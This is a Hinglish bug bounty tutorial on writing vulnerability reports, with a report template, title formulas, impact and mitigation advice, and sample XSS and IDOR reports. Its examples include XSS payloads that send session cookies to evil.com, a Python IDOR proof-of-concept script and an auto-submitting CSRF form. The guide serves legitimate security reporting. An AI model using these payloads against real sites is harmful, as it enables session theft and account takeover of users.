Aaj Kya Seekhenge?

• Bug report kya hota hai basics se
• $100 report vs $1,000 report real difference
• Perfect report ka structure template
• Title kaise likhein impact hone chahiye
• PoC proof of concept sahi banana
• Impact section sabse zaroori!
• Real report examples copy karo format
• Common mistakes avoid karo

Kyun zaroori hai? Duniya ka best bug dhundhne ka koi fayda nahi agar report bakwaas hai! 70% hunters generic impact copy-paste karte hain triager skip karta hai! Ek well-written report = faster triage + higher bounty + reputation build! Yeh skill directly tumhara earning 3x-5x kar sakti hai!

Report Kya Hota Hai? Simple Samjho

Tumne bug dhundha! Ab kya?

Galat soch:
"Mujhe bug mila — submit kar deta hoon
 description mein — XSS found at /search"

Sahi soch:
"Main triager ki madad kar raha hoon
 → Bug samjhein
 → Reproduce karein
 → Impact samjhein
 → Fix karein"

Triager ek din mein 50+ reports dekhta hai!
Tumhara report 30 seconds mein stand out karna chahiye!

$100 Report vs $1,000 Report Real Difference

Fark sirf content ka nahi presentation ka bhi hai!

PART 1: Perfect Report Structure Template

## 1. TITLE
[Vulnerability Type] in [Feature/Component] allows
[Impact] via [Attack Vector]

## 2. SUMMARY
2-3 line overview — kya mila, kahan mila, kya impact

## 3. SEVERITY
Critical / High / Medium / Low + CVSS Score

## 4. VULNERABILITY DETAILS
Technical explanation — kya hai, kaise kaam karta hai

## 5. STEPS TO REPRODUCE
Numbered steps — exact URL, exact payload

## 6. PROOF OF CONCEPT
Screenshot / Video / Code

## 7. IMPACT
Business impact — real world scenario

## 8. AFFECTED PARAMETERS/ENDPOINTS
Exact URLs aur parameters

## 9. MITIGATION
Fix suggestion

## 10. REFERENCES
CVE, OWASP, CWE links

PART 2: Title Pehli Impression!

Title = Report ka face! 30 seconds mein triager decide karta hai!

Bad Titles:

"XSS vulnerability"
"SQL injection found"
"Security issue"
"Bug on login page"
"IDOR bug"

Good Titles Formula:

[Vuln Type] in [Location] allows [Impact]

Examples:
✅ "Stored XSS in user profile bio field allows
    arbitrary JavaScript execution in victim's browser"

✅ "IDOR in /api/v1/invoices/{id} allows any
    authenticated user to access other users' invoices"

✅ "SQL Injection in /search endpoint allows
    complete database dump without authentication"

✅ "JWT alg:none bypass in /api/auth allows
    privilege escalation from user to admin role"

✅ "Unauthenticated SSRF in /api/fetch allows
    access to AWS metadata at 169.254.169.254"

Formula:

Vulnerability Type + Location + Impact = Perfect Title

PART 3: Summary Section 3 Lines Mein Sab Kuch

## Summary

[Vulnerability type] vulnerability was found in [exact location].
An attacker can exploit this to [specific impact].
This vulnerability requires [authentication level] and
affects [scope of users].

Example (XSS):
A Stored Cross-Site Scripting (XSS) vulnerability was
identified in the user profile bio field at
https://target.com/profile/edit. An authenticated attacker
can inject malicious JavaScript that executes in the
browser of any user who views the attacker's profile,
including administrators. This could lead to session
cookie theft and complete account takeover.

PART 4: Steps to Reproduce Sabse Important!

Triager ko bilkul exactly reproduce karna aana chahiye!

Bad Steps:

1. Login karo
2. XSS payload daalo
3. Execute hota hai

Perfect Steps:

## Steps to Reproduce

**Prerequisites:**
- A registered account on target.com
- Burp Suite (optional, for request modification)
- Browser: Firefox/Chrome (latest)

**Steps:**

1. Navigate to https://target.com/login and log in with
   any valid account credentials.

2. Go to **Profile Settings** at:
   https://target.com/settings/profile

3. In the **"Bio"** field, enter the following payload: <img src=x onerror="document.location='https://evil.com/steal?c='+document.cookie">

4. Click **"Save Profile"** button.

5. Now navigate to your public profile:
https://target.com/user/YOUR_USERNAME

6. **Observe:** The payload executes and the browser
redirects to evil.com with the session cookie appended
to the URL.

7. To confirm Admin impact: Log in as admin account and
visit the attacker's profile — cookie theft occurs.

**Expected Result:** Bio field should sanitize HTML input.
**Actual Result:** JavaScript executes in viewer's browser.

PART 5: Proof of Concept Bina PoC = No Bounty!

PoC Types Kaunsa Use Karo:

1. Screenshot PoC (Minimum):

✅ Annotated screenshots lo — arrows lagao
✅ Payload clearly visible ho
✅ Result clearly visible ho
✅ URL bar visible ho (target confirm karne ke liye)
✅ Timestamp visible ho (uniqueness ke liye)

Tools:
→ Greenshot (annotations)
→ ShareX (screenshots + GIF)
→ Flameshot (Linux)

2. Video PoC (Best for Complex Bugs):

✅ Screen recording karo — 2-5 minutes max
✅ Narration optional — steps clearly dikhao
✅ Start se end tak — full flow

Tools:
→ OBS Studio (free, best quality)
→ ShareX (quick recording)
→ Loom (online sharing)

Upload karo:
→ YouTube (unlisted)
→ Google Drive (link share)
→ Streamable.com

3. Code PoC (For API/Technical Bugs):

#!/usr/bin/env python3
# PoC: IDOR vulnerability in /api/invoices/{id}
# Target: target.com
# Date: April 2026
# Author: HackerMD

import requests

# Attacker's session
ATTACKER_TOKEN = "eyJhbGci...ATTACKER_TOKEN..."

# Victim's invoice ID (obtained from normal usage)
VICTIM_INVOICE_ID = "INV-2024-9876"

headers = {
    "Authorization": f"Bearer {ATTACKER_TOKEN}",
    "Content-Type": "application/json"
}

# Attacker accessing victim's invoice
response = requests.get(
    f"https://target.com/api/v1/invoices/{VICTIM_INVOICE_ID}",
    headers=headers
)

print(f"Status Code: {response.status_code}")
print(f"Response: {response.json()}")

# Expected: 403 Forbidden
# Actual: 200 OK with victim's invoice data!

4. HTML PoC (For CSRF, XSS Chains):

<!-- PoC: CSRF Attack on /change-email endpoint
     Target: target.com
     Author: HackerMD | Date: April 2026 -->
<!DOCTYPE html>
<html>
<head><title>CSRF PoC</title></head>
<body onload="document.forms[0].submit()">
  <!-- Auto-submit form -->
  <form method="POST"
        action="https://target.com/api/user/email"
        style="display:none">
    <input name="email" value="attacker@evil.com">
    <!-- Note: No CSRF token required! -->
  </form>
  <p>Loading...</p>
</body>
</html>

PART 6: Impact Section Yahan Bounty Decide Hoti Hai!

Sabse underrated section sabse important!

Bad Impact (70% hunters yahi karte hain!):

"This vulnerability allows attackers to steal user data
and compromise the system."
← Generic! Triager skip karega!

Perfect Impact Formula:

## Impact

**Business Impact:**
An attacker who successfully exploits this vulnerability can:

1. **Account Takeover:** By stealing the session cookie of
   any user who views the attacker's profile, the attacker
   can fully take over that account — including admin accounts.

2. **Data Breach:** Admin account takeover would expose:
   - All 50,000+ registered users' PII (name, email, phone)
   - Payment information and transaction history
   - Internal company communications

3. **Reputation Damage:** Customers' browsers executing
   attacker-controlled JavaScript can be used for:
   - Phishing attacks in the company's trusted domain context
   - Cryptocurrency mining using victim's CPU
   - Spreading the attack to victim's contacts

**Real World Attack Scenario:**
1. Attacker registers an account and sets malicious payload
   in bio field
2. Attacker shares profile link via social engineering
   ("Check out my portfolio!")
3. Admin clicks link → Cookie stolen → Admin account
   compromised
4. Attacker exports entire user database
5. Sells data on dark web — company faces GDPR fines
   up to 4% of annual revenue

**Affected Users:** All users who view the attacker's
profile — including administrators.

**Authentication Required:** Yes (basic user account)

PART 7: Mitigation Section Expert Dikhao!

## Recommended Mitigation

**Immediate Fix:**
Implement proper output encoding for all user-supplied
content before rendering in HTML context.

**Technical Recommendation:**
1. **Input Validation:** Whitelist allowed characters in
   bio field — strip all HTML tags on input.

2. **Output Encoding:** Use context-aware encoding:
   ```php
   // PHP example
   echo htmlspecialchars($user_bio, ENT_QUOTES, 'UTF-8');
   ```

3. **Content Security Policy (CSP):**
   Add CSP header to prevent inline script execution:Content-Security-Policy: default-src 'self';
script-src 'self'; object-src 'none';
4. **HTTPOnly Cookie Flag:** Ensure session cookies have
HttpOnly flag set to prevent JavaScript access:Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict


**References:**
- OWASP XSS Prevention: https://owasp.org/www-community/attacks/xss/
- CWE-79: Improper Neutralization of Input During Web Page Generation
- CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (Score: 8.7)

PART 8: Complete Report Templates

Template 1 XSS Report

# Title
Stored XSS in [Feature] at [URL] allows session
cookie theft via JavaScript injection

# Severity
High (CVSS 3.1: 8.7)

# Summary
A Stored Cross-Site Scripting vulnerability exists in the
[feature name] functionality at [URL]. User-supplied input
is reflected without proper sanitization, allowing an
attacker to inject and execute arbitrary JavaScript in
victims' browsers, potentially leading to account takeover.

# Vulnerability Details
The application stores user input from the [field name]
parameter without sanitizing HTML/JavaScript content.
When this content is rendered for other users, the
malicious script executes in their browser context,
with access to their session cookies and DOM.

# Steps to Reproduce
1. Log in to https://target.com/login
2. Navigate to [feature URL]
3. Enter payload in [field name]:
   `<script>alert(document.domain)</script>`
4. Save/submit the form
5. Visit [page where content is displayed]
6. Observe JavaScript alert dialog executing

# Proof of Concept
[Screenshot showing alert popup]
[Video link: https://...]
Payload used:
<script>fetch('https://evil.com/?c='+document.cookie)</script>

# Impact
- Session cookie theft → Account takeover
- Affects all users viewing the vulnerable page
- Admin accounts also vulnerable

# Mitigation
- Implement output encoding (htmlspecialchars)
- Add Content Security Policy header
- Set HTTPOnly flag on session cookies

# References
- CWE-79: XSS
- OWASP Testing Guide: OTG-CLIENT-001

Template 2 IDOR Report

# Title
IDOR in /api/[endpoint]/{id} allows authenticated
attacker to access any user's [sensitive data]

# Severity
High (CVSS 3.1: 7.5)

# Summary
An Insecure Direct Object Reference (IDOR) vulnerability
exists in the [endpoint] API. By modifying the {id}
parameter, any authenticated user can access sensitive
data belonging to other users without authorization.

# Affected Endpoint
GET https://target.com/api/v1/[endpoint]/{id}

# Steps to Reproduce
**Account Setup:**
- Account A (Attacker): attacker@test.com
- Account B (Victim): victim@test.com

**Steps:**
1. Log in as Account A
2. Generate your [resource] → Note your ID: [YOUR_ID]
3. Send request to:
   `GET /api/v1/[endpoint]/[YOUR_ID]`
   with your Authorization header
4. Change ID to victim's ID:
   `GET /api/v1/[endpoint]/[VICTIM_ID]`
5. Observe victim's data returned successfully

# Proof of Concept
[Screenshot: Account A accessing Account B's data]

Request:

GET /api/v1/invoices/INV-9876 HTTP/1.1
Host: target.com
Authorization: Bearer ATTACKER_TOKEN

Response:
```json
{
  "invoice_id": "INV-9876",
  "user": "victim@email.com",
  "amount": "$5,432",
  "card_last4": "4242"
}
```

# Impact
Any authenticated user can access all other users'
[data type], exposing [sensitive information].
Estimated affected records: [X users].

# Mitigation
Implement server-side authorization checks:
verify that requesting user owns the requested resource.

PART 9: Common Mistakes Avoid Karo!

❌ Mistake 1: Scope check nahi kiya
→ Out-of-scope bug report → Wasted time!
→ Fix: Pehle scope padho, phir report karo

❌ Mistake 2: Duplicate report
→ Already reported bug → N/A
→ Fix: Search karo program mein pehle

❌ Mistake 3: No PoC
→ "XSS possible hai" bina evidence ke
→ Fix: Working PoC HAMESHA include karo

❌ Mistake 4: Generic impact
→ "Attacker data steal kar sakta hai"
→ Fix: Specific realistic scenario likho

❌ Mistake 5: Unclear steps
→ Steps reproduce nahi ho rahe triager se
→ Fix: Fresh browser mein khud test karo

❌ Mistake 6: Wrong severity
→ Low bug ko Critical claim karna
→ Fix: CVSS properly calculate karo

❌ Mistake 7: Aggressive tone
→ "Fix this ASAP or I'll disclose!"
→ Fix: Professional, cooperative tone rakho

❌ Mistake 8: Multiple bugs ek report mein
→ Triager confuse ho jaata hai
→ Fix: Ek report = Ek bug!

PART 10: Platform-Specific Tips

HackerOne:

✅ Markdown support hai — use karo!
✅ "Severity" carefully select karo
✅ Attachments: Screenshots + Video
✅ "Weakness" type correctly select karo
✅ "Asset" field mein exact URL daalo
✅ CVSS calculator use karo (built-in!)

Bugcrowd:

✅ VRT (Vulnerability Rating Taxonomy) follow karo
✅ Target mein exact asset select karo
✅ P1/P2/P3/P4 priority claim carefully
✅ PoC video highly recommended
✅ Bugcrowd ka briefing carefully padho

Intigriti:

✅ Markdown fully supported
✅ CVSS score include karo
✅ Impact clearly defined karo
✅ Mitigation section add karo preferred!
✅ Wildcard scope mein: WHOIS proof include karo

Report Quality Checklist Submit Karne Se Pehle!

PRE-SUBMISSION CHECKLIST:

Title:
□ Vulnerability type mentioned hai?
□ Location/endpoint mentioned hai?
□ Impact mentioned hai?
□ 10-15 words ke beech hai?

Summary:
□ 2-3 lines mein complete overview?
□ Non-technical reader bhi samjhe?

Steps:
□ Numbered steps hain?
□ Exact URLs included hain?
□ Exact payloads included hain?
□ Fresh browser mein khud reproduce kiya?

PoC:
□ Screenshot hai?
□ Video hai (complex bugs ke liye)?
□ Code PoC hai (API bugs ke liye)?
□ PoC clearly impact dikhata hai?

Impact:
□ Specific realistic scenario likha?
□ Affected users mentioned?
□ Business impact mentioned?
□ NOT generic copy-paste?

Severity:
□ CVSS score calculate kiya?
□ Justify kiya severity claim?

Mitigation:
□ Fix suggestion diya?

Final Check:
□ Scope mein hai?
□ Duplicate check kiya?
□ Professional tone hai?
□ Spelling/grammar check?
□ Markdown formatting sahi hai?

Quick Revision

📝 Report     = Triager ki madad karo
               reproduce + understand + fix karna!
🏷️ Title      = Vuln Type + Location + Impact
📋 Summary    = 2-3 lines, non-technical reader ke liye
🔢 Steps      = Numbered, exact URLs, exact payloads
💥 PoC        = Screenshot + Video + Code
🎯 Impact     = SPECIFIC scenario — NOT generic!
🔧 Mitigation = Fix suggestion = Expert impression
⚠️ Mistakes   = No PoC, generic impact,
               wrong severity, aggressive tone
💰 Result     = Well-written report = 3-5x higher bounty!

Meri Baat…

Maine ek baar IDOR dhundha excited hokar report submit ki:

Title: IDOR found
Description: User ID change karne se doosra data dikh raha hai
Steps: 1. Login karo 2. ID change karo 3. Data dikhe

Response: "Not enough information to reproduce. Closing as Informative."

$0 bounty! 😭

Same bug dobara dhundha — is baar sahi report likhi:

• Detailed title with impact
• Exact endpoints with request/response
• Video PoC with both accounts
• Specific impact: "50,000 user financial records"
• CVSS score: 7.5

Response: "Great report! Triaged as High. Bounty: $1,500!" 🎉

Lesson: Bug same tha report different thi bounty 0 se $1,500 ho gayi! Report writing = Real skill hai!

Agle article mein CVSS Score Severity kaise decide karte hain $500 aur $5,000 bounty ka calculation! 🔥

HackerMD Bug Bounty Hunter | Cybersecurity Researcher GitHub: BotGJ16 | Medium: @HackerMD

Previous: Article #24 API Security Testing Next: Article #26 CVSS Score: Severity Kaise Decide Karte Hain!

#BugBounty #BugReport #HackerOne #Bugcrowd #EthicalHacking #Hinglish #ReportWriting #HackerMD